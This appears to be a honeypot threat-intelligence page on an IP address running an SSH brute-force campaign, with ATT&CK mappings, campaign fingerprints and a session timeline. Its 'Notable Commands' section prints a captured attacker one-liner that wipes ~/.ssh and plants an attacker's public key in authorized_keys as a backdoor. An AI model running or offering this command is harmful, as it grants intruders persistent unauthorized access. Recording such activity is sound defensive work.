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78.83.249.54

TAGGED SUSPICIOUS how we decide →

Threat Confidence

58%

Location

🇧🇬 BG / Burgas

ASN

AS29580 · A1 Bulgaria EAD

Cloud Provider

—

Total Events

204

Above average by volume

Agent Count

First / Last Seen

2026-05-09 14:38 — 2026-05-09 15:04

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-05-09 16:02

blocklist_de:reported

Campaigns

HASSH af8223ac9914… — SSH-2.0-libssh_0.12.0 (485 IPs, 71 countries) HASSH Active high 🇭🇰 HK

485 IPs 254136 events

ssh:bruteforce

2026-02-28 — ongoing · 485 IPs are running an identical SSH client (HASSH fingerprint af8223ac9914…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …

Session Forensics

malware_dropper ×3 credential_probe ×30 opportunistic_bruter ×3

Sessions

36 (6 with login)

Avg Depth Score

0.29

Commands Executed

Files Downloaded

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

af8223ac9914f509afdadfaf5f7ee94e

SSH Client

SSH-2.0-libssh_0.12.0

Evidence Timeline

Credential Probe efe750e6e5ec w4m_seattle_01 · 2026-05-09 15:04

1 20%

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Credential Probe 940fcfcd5c46 w4m_seattle_01 · 2026-05-09 15:03

1 20%

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Credential Probe ec4b5b176103 w4m_seattle_01 · 2026-05-09 15:03

1 20%

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Credential Probe 7bec2f3fcb6c w4m_seattle_01 · 2026-05-09 15:02

1 20%

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Credential Probe 68fedfcafcbf w4m_seattle_01 · 2026-05-09 15:01

1 20%

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Credential Probe d64b80c6dd2e w4m_seattle_01 · 2026-05-09 15:00

1 20%

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Opportunistic Bruter 672b05144b64 w4m_seattle_01 · 2026-05-09 14:59

1 50%

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Malware Dropper 16ae85c26844 w4m_seattle_01 · 2026-05-09 14:59

3 1 1 100%

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Credential Probe 06aadb768957 w4m_seattle_01 · 2026-05-09 14:59

1 20%

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Credential Probe 7f43039e5cc8 w4m_seattle_01 · 2026-05-09 14:58

1 20%

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Credential Probe ae0e79d48b51 w4m_seattle_01 · 2026-05-09 14:57

1 20%

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Credential Probe 10c10836387b w4m_seattle_01 · 2026-05-09 14:57

1 20%

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Credential Probe 8c58e621cff0 w4m_seattle_01 · 2026-05-09 14:56

1 20%

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Credential Probe 4a99130302f8 w4m_seattle_01 · 2026-05-09 14:55

1 20%

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Credential Probe 6b4c84bf943b w4m_seattle_01 · 2026-05-09 14:54

1 20%

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Credential Probe bba604a6c72c w4m_seattle_01 · 2026-05-09 14:53

1 20%

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Credential Probe 31f0da7e0b75 w4m_seattle_01 · 2026-05-09 14:52

1 20%

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Credential Probe f180d9e1d084 w4m_seattle_01 · 2026-05-09 14:51

1 20%

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Credential Probe bced5d2f1bb9 w4m_seattle_01 · 2026-05-09 14:50

1 20%

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Credential Probe 327a8379cd04 w4m_seattle_01 · 2026-05-09 14:50

1 20%

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Credential Probe 30714c13cae2 w4m_seattle_01 · 2026-05-09 14:49

1 20%

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Credential Probe e4074fc56e56 w4m_seattle_01 · 2026-05-09 14:48

1 20%

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Credential Probe c996d543ec50 w4m_seattle_01 · 2026-05-09 14:47

1 20%

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Malware Dropper 32f4fd393ae9 w4m_seattle_01 · 2026-05-09 14:46

3 1 1 100%

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Opportunistic Bruter c0350432629a w4m_seattle_01 · 2026-05-09 14:46

1 50%

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Credential Probe b34ad70e6491 w4m_seattle_01 · 2026-05-09 14:46

1 20%

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Credential Probe 46970aaf1fd6 w4m_seattle_01 · 2026-05-09 14:45

1 20%

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Credential Probe 43736f154c22 w4m_seattle_01 · 2026-05-09 14:45

1 20%

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Credential Probe 4e3452b5edbd w4m_seattle_01 · 2026-05-09 14:44

1 20%

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Credential Probe 3cda4cd36c9f w4m_seattle_01 · 2026-05-09 14:43

1 20%

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Credential Probe 4562e902ce76 w4m_seattle_01 · 2026-05-09 14:42

1 20%

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Credential Probe 70af8aadd1fa w4m_seattle_01 · 2026-05-09 14:41

1 20%

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Malware Dropper f01de8db2ec1 w4m_seattle_01 · 2026-05-09 14:40

3 1 1 100%

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Opportunistic Bruter 5c0cd0392665 w4m_seattle_01 · 2026-05-09 14:40

1 50%

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Credential Probe 6dd02e79f47b w4m_seattle_01 · 2026-05-09 14:40

1 20%

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Credential Probe 2ada1b850197 w4m_seattle_01 · 2026-05-09 14:38

1 20%

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